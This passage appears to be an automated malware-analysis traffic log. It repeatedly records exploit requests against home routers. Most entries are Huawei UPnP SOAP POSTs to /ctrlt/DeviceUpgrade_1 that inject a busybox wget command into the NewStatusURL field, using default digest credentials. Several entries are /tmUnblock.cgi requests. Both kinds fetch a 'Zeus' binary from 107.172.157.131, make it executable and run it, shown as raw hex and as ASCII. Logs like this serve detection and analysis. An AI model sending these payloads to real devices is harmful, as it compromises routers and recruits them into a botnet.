s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 